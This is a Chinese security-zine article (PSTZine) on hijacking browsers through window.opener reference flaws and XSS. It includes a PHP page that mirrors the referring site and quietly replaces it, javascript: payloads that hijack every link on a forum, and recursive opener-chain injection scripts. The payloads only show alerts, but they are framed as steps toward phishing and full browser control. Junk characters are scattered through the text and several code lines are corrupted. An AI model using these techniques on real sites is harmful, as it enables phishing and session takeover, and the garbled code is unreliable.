[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==
- e0 z& H7 g* `* f# ]% ~
4 D/ {8 y) j' B/ g                       Issue 0x03, Phile #0x05 of 0x07
: d; e* m0 B* u3 S- X# x- f+ o
( }8 B+ S3 |& {' B0 ^
|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
- S2 Q6 g  K0 F  ~) z1 o|=---------------------------------------------------------------------------=|
" _! W! ^. {' @: \" e. _|=---------------------------------------------------------------------------=|
# t5 J. o9 B$ h! \1 W|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
. _  ?6 o/ V3 T5 E( d|=---------------------------------------------------------------------------=|


" [2 a& U% Q# Z8 _  i" l2 u[目录]
, v5 b$ S" @. {& I
1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
  6.1 正向跨窗口劫持
  6.2 反向跨窗口劫持
* W$ V0 Q) D/ ?% o" K* A# H  6.3 极度危险的跨框架窗口引用劫持
8 l, E% p& M$ M# t7 b/ s" {  6.4 极度危险的正反向跨窗口递归劫持
. D+ T, T& D) x. @( S9 N% ]  6.5 完全控制浏览器
) }; M2 X9 D! y' U7. 后记
8. 参考
  {0 s  s, m: y; T, R3 k; w( s$ u
) W: |% H. ]4 E/ @
/ R: U+ j% P: f! ^/ U6 S  J一、前言

! W4 [6 J. D# z4 W) M    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
6 j- O$ p) `' z% |/ m9 u* R友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
8 W7 X" Y8 p. F$ V6 E  x劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。
5 G1 c$ K( {/ I; n" I2 m0 T- q
3 a4 G$ O) E  j9 }6 ]0 J
二、同源策略简叙

( z1 X: P' k6 O2 H    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
4 x& ~2 n9 b! ~- s1 q. \曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。


三、理解window对象的同源策略

    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

' F+ A6 a- B; D# _--code-------------------------------------------------------------------------
<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------

    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
* e5 o. |% k* D7 X9 g; \  Z$ |法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。

, w+ C: L# b% i4 J7 `0 y! Z4 q    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
% E. m1 |3 R( l$ q4 ^1 |么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
& \( W! N# K9 t6 `. h的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
% k/ d( [  _' C) y0 W值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
2 Q/ D; v) b$ ]属性并没有被拒绝访问。

--demo.html--------------------------------------------------------------------
, `$ i) c1 X1 L3 Q<script language="javascript">   
function allPrpos(obj) {      
( z1 u4 b2 {) s0 S. d      var props = "<table><tr><td>名称</td><td>值</td>";           
3 p  _' L* S( v: x      for(var p in obj){         
            if(typeof(obj[p])=="function"){   
4 J7 h- a) T  v7 H1 [/ D8 D, n                   obj[p]();   
9 u5 ^$ ?2 o0 J; f             }else{                     
9 _4 R4 f+ N9 e* b- x$ `                  try   
# U7 |- }% J- h" g3 i7 x- F                   {   
5 U6 Q- v( Y* D% U3 h* M/ t9 ?                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
8 Y2 w7 R; \( Z6 C. o% S: O                   }   
                  catch (ex)   
                   {   
1 {; l2 H; N" H9 W: x                  
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
7 f9 o8 G) {6 Q+ e                   }   
                       
- z# t+ Z3 v5 Q! i             }   
+ K0 ?( }$ e) @4 b8 q       }   
9 a5 ~! F+ `) b: ^+ c   
       document.write(props+"</table>");   
/ V; N: r+ G: }! B2 [. E}   
! d6 B, v# r# h0 f8 ^   
function createWin() {
        newWin = window.open ("http://www.google.com");  
        setTimeout(function(){allPrpos(newWin)},2000);
  E$ u, S1 J( }; J! w# V}
9 I) G( N9 n% r2 ~, q0 M8 p1 J' }
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
1 v- _( m; n$ A& h8 b4 M! @

四、窗口引用功能中的同源策略漏洞

5 b1 Z% Z0 {/ t2 S4.1 父窗口引用子窗口的同源策略问题

  G% b9 A5 A+ S3 R6 x# Q% Z1 _    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
% d8 n+ F3 P% \' R( g3 V; s4 X但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
, U, M" d, g" M# D+ ^浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
3 `8 y  y3 g1 V. g. ], r. t" ]" Z+ R行测试，会发现父窗口可以控制非同源子窗口location属性值。
0 k$ L# v  T# |9 u  }1 v# K6 p
8 M0 j8 s+ f! Q9 Y* c  ]' _0 f) w9 _--vul1.html--------------------------------------------------------------------
<script language="javascript">
7 f& y: ^4 l7 S5 U2 d, Q. [function createWin() {  
3 [. R1 }) o3 [4 h- u, u        newWin = window.open ("http://www.google.com");  
0 e7 ~, z, b" |# u2 F3 `        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
" G) m5 {; \  G, J: f</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
# _5 J6 h7 x  \; b7 i. ]9 h

- O5 C8 r" t5 y& y9 `4 {4.2 子窗口引用父窗口的同源策略问题

    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。

9 H# \! `) n# `' L--code-------------------------------------------------------------------------

javascript:window.opener.location = "http://www.80sec.com";void(0);
. j% \$ F7 c# o
; Y: R* T: @- Y8 ?) o; x-------------------------------------------------------------------------------
. Y9 P$ `  U) d+ X
1 R6 r* h. C% [% z7 L) S
五、利用窗口引用漏洞劫持浏览器

# z# Z& X  g$ L, x+ ]6 h    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
9 }$ q2 x- e% E; M1 y2 B0 o么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

4 H2 U9 ^8 g; c# E7 a+ k9 j, y    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
/ r# K' |2 R* k会产生什么可怕的后果。

    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
$ ]$ ?4 U  }- s1 e/ u2 f! Q们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
- Z: W) {0 d  P6 C5 F+ y以做更多的事情，所有的一切仅仅是因为点击了一个链接。

- T" d( [; k& I2 h* z--hjk_ref.php------------------------------------------------------------------
<?php
6 S1 I* k; g" S' b1 x% Q( y* a8 }if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
! G8 ]/ P) d- n% \% `( |}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
?>

& ?2 a, z1 |( r: N' j2 n<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
7 [) a# v. ~8 x5 ?</script>
6 ]3 L) a/ C) s/ D4 R6 R& a+ b-------------------------------------------------------------------------------
4 J3 C7 u; O9 w4 Z' I9 q
* [" Q* @2 V; Y* ?* y+ n4 b8 {    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。

" [6 t/ @$ g2 y3 H- R
; ~) {0 l/ `: \5 A: D6 D! C六、利用XSS漏洞劫持浏览器

3 T8 f* j% @' ^# l" g& E+ h    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
4 D" o4 @9 a5 |. \9 W2 l8 r/ zXSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
# ]$ `. o; r  X3 a讨论跨站师的终极技巧：
* V9 b1 O8 l9 X2 C! b

2 x; R0 [' A7 q5 U) h6.1 正向跨窗口劫持
8 s' _1 H) L0 \4 O" Y/ W  j
/ Z* p' y, R# T) t2 M" F    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
" F! A3 g& y/ }4 L9 f) G主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
7 k0 B; N$ F5 p, t接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
框脚本。

--hijack_open.js---------------------------------------------------------------

! ~+ c- |! R1 i- A, ~9 Y, hjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

% }* r6 i1 @" n-------------------------------------------------------------------------------

5 x6 R( L5 ~4 }2 O/ M) W; t
6.2 反向跨窗口劫持
8 `2 M. Z! E- A
" z1 I4 Q/ [, J1 L! z; B    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
) N  Q' h- D. O' I: P( G: u! r码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
" Q1 f% j8 O& r框脚本。

/ p! U& j3 `0 }) @0 H" O- c( ~' Q--hijack_opener.js-------------------------------------------------------------
5 O3 N  |3 E/ y) N" \
. k7 Z+ @  o( }/ rjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

* T, G8 G1 E* l; A-------------------------------------------------------------------------------
9 D; @( F3 C& m! y, R( [0 L
4 p$ J8 B, Z( A$ ^7 M$ ]
6.3 极度危险的跨框架窗口引用劫持

    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
5 b/ l8 r( l( |) Z* |可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
8 i7 z/ _: Z1 P0 h' i8 Q适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS，如下：

( s+ X/ u' k. k/ |<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
" A( Z( @! |5 @2 R3 U
  d8 D9 ~( C0 E# n    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。
/ ~$ t. G; B  o$ H: _* y! u
--hijack_frame_opener.js-------------------------------------------------------
<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
-------------------------------------------------------------------------------


6.4 极度危险的正反向跨窗口递归劫持
) M% }8 N7 \% V
4 X+ _* M( |. N  H2 j+ f- y    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：
3 r4 u, {( ~4 k5 U- |0 n
. }* [: y2 f7 J# A2 _5 A--code-------------------------------------------------------------------------

, b# H3 Y% E7 P4 l! R6 djavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
! j2 h7 V' n2 F/ x2 m
-------------------------------------------------------------------------------

; C3 i7 s* X  M" N$ |! U2 b3 H/ J    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面，从而实现“隔空打击”。
# F* n3 G2 j6 w. j9 V
    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
; p  O7 c5 s( c; I. S. g  i0 ?. W执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。
6 l8 ~& z4 W4 d( b- x& i
    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。

: N3 a' e" o3 Y
6.5 完全控制浏览器

    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
1 }/ @6 j. S; `  V) X8 F2 W漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
. i4 U- m; t: e列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
师的终极目标 - 完全控制浏览器。


七、后记

& g8 `9 g$ @; t6 X$ s    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
1 q7 U& h; C4 S7 W7 t6 y: }; T过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。

3 y( o4 B4 ?$ g* U
八、参考
- x: w1 G% D# u/ {3 ]  Z
% m2 q2 E+ [, d" e/ F5 V# v1. http://en.wikipedia.org/wiki/Same_origin_policy
# J+ v! ]/ V- b2. http://code.google.com/p/browser ... licy_for_DOM_access
" Q* _) m0 J/ E: P; E! x3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
; h0 Q$ P+ g3 r: g8 D( L: t6. http://www.80sec.com/ms08-058-attacks-google.html
9 C+ l7 \1 g+ @. S
-EOF-